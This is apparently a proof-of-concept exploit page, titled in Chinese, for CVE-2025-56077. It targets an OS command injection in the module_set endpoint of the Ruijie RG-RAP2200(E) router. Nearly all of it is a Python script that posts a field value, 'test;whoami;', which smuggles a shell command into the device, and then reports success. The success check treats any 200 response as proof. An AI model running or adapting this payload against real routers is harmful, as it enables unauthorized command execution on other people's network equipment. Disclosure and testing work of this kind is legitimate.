CVE-2025-56077: 锐捷RG-RAP2200(E)路由器OS命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-56077 PoC - Ruijie RG-RAP2200(E) OS Command Injection This PoC demonstrates the command injection vulnerability in the module_set endpoint. """ import requests import sys target = "http://target-device:80" def exploit_cve_2025_56077(): """Execute command injection exploit on Ruijie RG-RAP2200(E)""" endpoint = f"{target}/module_set" # Payload to inject command: whoami # The injection point is in the parameter processed by nbr_cwmp.lua payload = { "module_name": "test;whoami;", "action": "set" } try: print(f"[*] Sending exploit payload to {endpoint}") response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") # Check if command was executed if "root" in response.text or response.status_code == 200: print("[+] Exploit successful! Command injection confirmed.") return True else: print("[-] Exploit may have failed. Check manually.") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_cve_2025_56077()